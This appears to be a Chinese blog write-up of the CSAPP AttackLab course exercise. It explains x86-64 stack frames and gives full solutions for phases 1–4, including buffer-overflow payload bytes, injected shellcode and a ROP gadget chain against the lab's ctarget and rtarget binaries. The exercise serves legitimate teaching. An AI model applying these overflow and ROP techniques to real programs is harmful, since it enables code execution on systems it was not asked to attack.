很多人经过BombLab后对汇编有一丁点暂时性阴影,从而看到其他博客的AttackLab汇编分析有点望而却步,但其实AttackLab并不涉及太大规模的汇编理解,只要对函数栈帧有一些理解,前面的题还是容易理解和解决的。

x86-64函数栈、调用与返回

x86-64函数栈的栈帧分布应该类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
高地址(栈底)
+----------------------------+
| 参数N(从右到左) | ← push 时先推入最后一个参数
| ... |
| 参数2 |
| 参数1 |
+----------------------------+
| 返回地址(由 call 指令压栈) | ← call func 把返回地址放在这里
+----------------------------+
| 上一帧的 %rbp(调用者的) | ← 被 push %ebp 保存
+----------------------------+
| 局部变量(局部数组等) |
| ... | ← 此处存储仍然是低地址到高地址存储
| buf[32] |
+----------------------------+ ← %rsp
低地址(栈顶)

在一年半前,我们在操作系统MIT 6.S081 xv6内核:基础理论就见过函数栈的基本结构,只不过那是Risc-V架构的,这里的ebprsp分别对应Risc-V的fpsp指针,指向栈底栈顶延申方向是高地址到低地址, 存放各种寄存器、变量时,压栈方向也是高地址到低地址,但注意局部变量的栈区域,存放顺序是低地址到高地址

可见一个函数的调用过程,可概括为:

  1. 将函数参数从右往左入栈(因为它们都是Caller寄存器,调用者保存);

  2. 保存父函数返回地址(call/callq硬件实现,本质是push %rip+callq指令长度callq一般占5字节);

  3. 保存父函数栈底指针(push %rbp; mov %rsp, %rbp);

  4. 开辟子函数栈sub $N, %rsp

但注意,栈底指针不是必须保存的,rbp保存是为了快速访问父函数的函数参数(如%rbp + 8%rbp + 12)或者来自父函数的局部变量、数组变量等(如%rbp - 4%rbp - 8),不涉及参数调用或者简单参数很可能在编译时被优化,称帧指针优化,通过编译选项可以强制保留或者显式优化:

1
2
3
gcc -g -fno-omit-frame-pointer -O0 -o program program.c   #不优化

gcc -O2 -fomit-frame-pointer -o program program.c #O2/O1优化
优化后,往往通过%rsp+offset的方式来访问调用函数的参数或变量。

这里要注意的一个细节是,其实RiscV和x86-64的函数栈有细节区别,在于汇编设计上:

1
2
3
4
5
6
7
8
#这是RiscV
addi sp, sp, -N
sd ra, 0(sp)
....

#这是x86_64
callq xxx
sub $N,%rsp
可以看出RiscV是显式地开辟内存,再存入ra寄存器(专门的返回地址寄存器),而x86是先callq将返回地址压栈,再显式开辟内存,故一般认为RiscV的RA是被调用者栈空间,x86的RA则是调用者的栈空间

函数返回规则:

  1. 恢复栈顶指针(mov %rbp, %rsp);

  2. 清除rbp(pop %rbp);

  3. 返回到返回地址(ret/retq,本质是pop %rip);

在Linux汇编中,规则1+2等效于leave命令,而且同样的,如果帧指针被优化,1和2可能就是直接变成偏移量恢复了:add $N, %rsp; ret;

AttackLab

Part I: Code Injection Attacks

第一部分是三个代码注入攻击,主要涉及了如何从汇编层面通过函数栈溢出研究如何影响函数跳转和参数传递,总的而言设计是比较简单的,也要求对x64函数栈帧分布有基本认识,因此在开篇我们已经记录一些基本基础。

Level 1.phase_1

phase 1是基本的代码注入攻击测试,其原理是通过输入溢出污染函数栈返回地址,从而使得函数跳转到恶意代码位置,只要没有因为溢出造成非法内存访问或堆栈破坏,这样的溢出不会发生段错误,因此函数读取的边界检查对程序安全至关重要,程序中用的Getsscanf等函数就不具备这种安全性。

根据hins可以知道其调用关系:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned getbuf()
{
char buf[BUFFER_SIZE] :
Gets(buf);
return 1;
}

void test(){
int val;
val=getbuf(); //ToDo:getbuf不要返回test,而是跳转到touch1
printf("No exploit. Getbuf returned 0x%x\n",val);
}

void touchl(){
vlevel = 1;
/* Part of validation protocol */
printf("Touchl!:You called touchl() \n");
validate(1);
exit(0)
}
此处要做的事情是调用getbuf后,不返回到test打印,而是跳转至touch1并执行其代码。

根据前述基础可知,这里的test和getbuf实际上就是帧优化的,意味着栈帧没有存储ebp,因此越界溢出只需要溢出1个栈帧(8个字节)即可,而不是16个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq

00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp #此处没有push %rbp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

恶意代码touch1的函数地址是:

1
00000000004017c0 <touch1>: ......
而且本地主机一般是小端序,所以c0应该是位于低地址,于是答案为:
1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* for phase_1 */

最后需要将答案转成字节流再送入验证,这里无论是gdb调试和执行都要加上"-q"参数,以跳过向评分服务器发送数据,否则会报错,除非是CMU的嫡系学子:

1
2
3
4
chmod +x hex2raw 
./hex2raw < inputFile_phase1.txt > inputFile_Raw_phase1.txt

./ctarget -q < inputFile_Raw_phase1.txt
看到Type string:Touch1!: You called touch1()即成功调用touch1,完成: phase1 PASS

Level 2.phase_2

phase_2的任务同样是代码注入攻击,它不仅要求跳转到特定的恶意代码函数touch2,还需要给touch2传入参数,确保val条件成立且成功执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
void touch2(unsigned val){
vlevel = 2;
/* Part of validation protocol */
if(val==cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire: You called touch2 (0x%.8x)\n",val);
fail(2);
exit(0);
}
}

要求的执行流程:test->getbuf->touch2(value)

林夕丶的提醒下,这里的栈空间是有限制的,test开辟了8字节空间,getbuf作为子栈,开辟了40字节空间,因此如果溢出字节超过48空间,就可能会造成segment fault,要注意的是,并不是简单的数据填充越出48字节就会导致段错误,因为test之上也有父栈帧,越界8字节大概率只会覆盖这些原有的栈帧,而不至于访问野指针,touch2中exit也直接结束整个进程,不会带来额外运行时问题。

但以下的答案在21年前的CSAPP版本是可用的,但在后面的CSAPP版本中将导致段错误,我比较接受的具体解释是:ret自身的弹栈(78 dc 61 55 00 00 00 00 这句)导致进入touch2后栈帧是异常高了8个字节,而参考x86_64汇编之四:函数调用、调用约定,x86_64栈帧调用函数时(如touch2中的printf)要求%rsp必须是16字节对齐

1
2
3
4
5
6
7
8
48 c7 c7 fa 97 b9 59           /* movq $0x59b997fa, %rdi */
c3 /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* match 40 */
78 dc 61 55 00 00 00 00 /* 栈顶空间 */
ec 17 40 00 00 00 00 00 /* touch2 */
假设我们有超过48字节的栈空间,这个溢出逻辑是这样的:从getbuf子栈开始,因为栈顶的0x5561dc首先覆盖了返回地址,getbuf自身的ret会导致跳转至栈顶0x5561dc,然后执行movqret操作,因为上一次执行getbufret时,地址0x5561dc78就已经弹栈了,所以现在的栈顶rsp = 0x4017ec,这个地址是touch2的地址,于是touch2被调用,攻击成功。

除了48字节是被设计的,另一个地方是这种双重ret的方法非常不标准,因为在汇编中ret前往往会通过add $N, %rsp来回收栈空间,或者使用leave(通过rbp更新rsp),这种双重ret的做法在正常代码非常少见,因为很容易操作到预设外的栈,所以touch1、touch2并没有过多的栈操作,在执行完后即通过exit结束整个进程,直接回收所有错乱的栈,不会导致运行问题。

既然这并不是答案,不能直接通过双重的溢出和双重的ret达到两次跳转的目的,实际上可以在第一次跳转后,手动增加一个压栈指令即可。

让我们从头开始:

cookie可以从cookie.txt文件中获取,为0x59b997fa,为了有足够的空间,我们的指令码可以在getbuf开辟的函数栈顶运行,最保守的方法是读取40字节返回后的第一条指令地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb ./ctarget

Reading symbols from ./ctarget...
(gdb) b *0x4017b4
Breakpoint 1 at 0x4017b4: file buf.c, line 16.

(gdb) r -q
Starting program: /home/heygears/Desktop/CSAPP_Lab/attacklab/target1/ctarget -q
Cookie: 0x59b997fa
Type string:123

Breakpoint 1, getbuf () at buf.c:16
16 buf.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x5561dc78

这就是第一个返回地址,嵌入攻击执行指令为:

1
2
3
mov $0x59b997fa, %edi   #当然也可以用64位的movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

将他编译,反汇编成指令码:

1
2
gcc -c phase2_assistance.S                                         
objdump -d phase2_assistance.o > phase2_assistance_res.S

得到这样的phase2_assistance_res.S

1
2
3
4
5
6
7
8
phase2_assistance.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 68 ec 17 40 00 pushq $0x4017ec
a: c3 retq

于是将指令码和溢出的地址凑成48字节即是答案inputFile_phase2.txt

1
2
3
4
5
6
7
8
bf fa 97 b9 59       	/* mov  $0x59b997fa,%edi */       
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* 栈顶 */
还需要将该文本字节转换成字节流才能被程序接收,项目提供了hex2raw工具实现字节流转换:
1
2
./hex2raw < inputFile_phase2.txt > inputFile_Raw_phase2.txt
./ctarget -q < inputFile_Raw_phase2.txt

若无误应该输出pass: phase2 PASS

Level 3.phase_3

读完Level 3,可以发现其实三个phase的任务是逐次递进的,因此思路和phase2也是差不多,phase3要求我们执行完test后跳转到touch3

1
2
3
4
5
6
7
8
9
10
11
12
void touch3(char *sval){
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
touch2区别,touch3中调用了hexmatch含两个参数,通过汇编可以看到它们来自哪里:
1
2
3
4
5
6
7
8
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>

可见cookie是从栈上直接读的,无需我们放入,而sval则继承自touch3的参数,因此本phase的工作就是将字符串数据作为参数传入,首先需要将省略0x的cookie——“59b997fa”解析成ASCII码

1
2
3
(gdb) p/x "59b997fa"

$4 = {0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61, 0x0}

从hins可以看出,本题重点是考虑将字符串放在哪一段位置:

  • When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. 调用 hexmatch 和 strncmp 函数时,它们会将数据压入堆栈,覆盖 getbuf 使用的缓冲区所在的部分内存。因此,您需要谨慎放置 cookie 的字符串表示形式。

所以只要调用touch3时中的hexmatchstrncmp函数时,保证getbuf的四十字节栈空间不存储相关数据即可,而所有的赋值指令会在进touch3前完成,所以这里只要额外地将字符串放到返回地址的前8字节即可,从phase2可以估算,为phase2相同的栈顶地址0x5561dc78 + 48字节 = 0x5561dca8,故参数赋值和压栈指令为:

1
2
3
mov $0x5561dca8, %edi
push $0x4018fa
ret

执行:

1
2
gcc -c phase3_assistance.S
objdump -d phase3_assistance.o > phase3_assistance_res.S

得到指令码:

1
2
3
4
5
6
7
8
9
phase3_assistance.o:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: bf a8 dc 61 55 mov $0x5561dca8,%edi
5: 68 fa 18 40 00 pushq $0x4018fa
a: c3 retq

连同要存放字符串"59b997fa"的ASCII码一起,凑齐48个字节外加test栈帧的8字节字符串(好像不考虑‘\0’也能通过实验):

1
2
3
4
5
6
7
8
9
bf a8 dc 61 55              /* $rsp = 0x5561dc78,mov $0x5561dca8,%edi */
68 fa 18 40 00 /* $rsp = 0x5561dc80,pushq $0x4018fa */
c3 /* retq */
00 00 00 00 00
00 00 00 00 00 00 00 00 /* $rsp = 0x5561dc88 */
00 00 00 00 00 00 00 00 /* $rsp = 0x5561dc90 */
00 00 00 00 00 00 00 00 /* $rsp = 0x5561dc98 */
78 dc 61 55 00 00 00 00 /* $rsp = 0x5561dca0,栈顶地址,执行mov */
35 39 62 39 39 37 66 61 /* $rsp = 0x5561dca8,"59b997fa"字符串ASCII */

输入验证一下:

1
2
./hex2raw < inputFile_phase3.txt > inputFile_Raw_phase3.txt
./ctarget -q < inputFile_Raw_phase3.txt
完成: phase3 PASS

Part II: Return-Oriented Programming

接下来剩下的是两个rtarget的phase,难度可以说是直线上升,此前的三个phase之所以顺利完成,完全基于

  1. 计算代码插入位置以及参数所在的位置,定义要执行的函数和参数;

  2. 栈上存储自定义的指令,直接执行函数;

上有政策,下有对策,rtarget为了防止代码注入,使用了两个方面的技术:

  1. 栈随机化技术。每次运行时堆栈位置不同,无法提前计算代码要插入的位置(但注意,ret函数地址还是可以执行的);

  2. 栈上标记代码不可执行,只有.text段代码能够被执行;

为了完成以下实验,必须使用Return-Oriented Programming,俗称ROP攻击,ROP攻击本身是一种“断章取义”,因为我们不能注入新代码,所以只能在已有的代码基础上实现特殊的指令目的,CMU老师举了一个例子:

1
2
3
void setval_210(unsigned *p){
*p = 3347663060U;
}
这样的赋值函数反汇编类似:
1
2
3
0000000000400f15 <setval 210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
然而在x86_64架构下,机器码48 89 c7对应movq %rax, %rdi,所以截取这些指令,一样可以达到执行特殊代码目的,并且通过ret返回到指定地址,继续断章取义,就能实现持续的ROP攻击,这些机器码+ret(c3)的组合,被称为gadgetgadget

然而也能想到,不是所有程序都提供了足够的gadget实现我们攻击目的,rtarget本身也不能,所以CMU的老师创建了farm.c,里面是大量的赋值、取值函数,这些函数常常含有大量的gadget,并且被编入rtarget中,因此本节的任务是利用rtarget的gadget,实现ROP攻击,教授提供了如下的机器码关键字: gadget 机器码

Level 2.phase_4

此phase需要完成Level 2.phase_2一样的目的,即需要完成函数touch2的执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
void touch2(unsigned val){
vlevel = 2;
/* Part of validation protocol */
if(val==cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire: You called touch2 (0x%.8x)\n",val);
fail(2);
exit(0);
}
}
首先是将cookie放入edi,随即触发touch2的执行(函数地址仍然是0x4017ec,注意这是编译期确定,和运行栈随机无关)。

先得到汇编代码:

1
objdump -d rtarget > rtarget.S
可以从rtarget.S里面的start_farm到end_farm查找,也可以是将farm.c反编译,里面找到的都是gadget:
1
2
gcc -Og -c -o fram.o farm.c     #注意:只有Og优化才能保证gadget和rtarget.S一致
objdump -d farm.o > farm.S

farm.S查找edi有关的mov指令,可见只有eax是一个gadget: movl S,edi 然而eax相关的mov gadget一个也没有,根据手册,也只能来自pop了,其会将rsp指向的值存入寄存器,因此需要将字符串放在rsp位置,执行pop %eax,然后mov %eax, %edi,触发ret返回到touch2(0x4017ec),从farm.S找到对应的gadget,再找到rtarget.S对应的地址即可:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 40垃圾字节 */
cc 19 40 00 00 00 00 00 /* gadget1: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie字符串 */
a3 19 40 00 00 00 00 00 /* gadget2: movl %eax, %edi */
ec 17 40 00 00 00 00 00 /* touch2地址 */
和代码注入不同的是,我们用gadget代替了反汇编的指令码来执行指令,同样也需要注意,为什么能够把cookie放在gadget之后,这是因为从gadget执行ret前,rsp已经从含40个垃圾字节的getbuf栈顶返回到test栈了,因此执行gadget1时,rsp指向的是返回地址前一个栈位置,即cookie位置;而gadget2位置,就是test栈的返回地址位置(从之前的汇编知test只开辟了8字节栈),从gadget2返回,rsp就指向了main的栈顶,恰为touch2地址。

因此我们知道,虽然ROP试验没有特别强调栈分布问题,但是答案都是被设计的。

验证:

1
2
./hex2raw < inputFile_phase4.txt > inputFile_Raw_phase4.txt
./rtarget -q < inputFile_Raw_phase4.txt
phase 4 done

Level 3.phase_5

待续

参考链接:

  1. The Attack Lab: Understanding Buffer Overflow Bugs

  2. Lab3 CSAPP: AttackLab 很好玩!

  3. CSAPP Lab:Attack Lab

  4. [读书笔记]CSAPP:AttackLab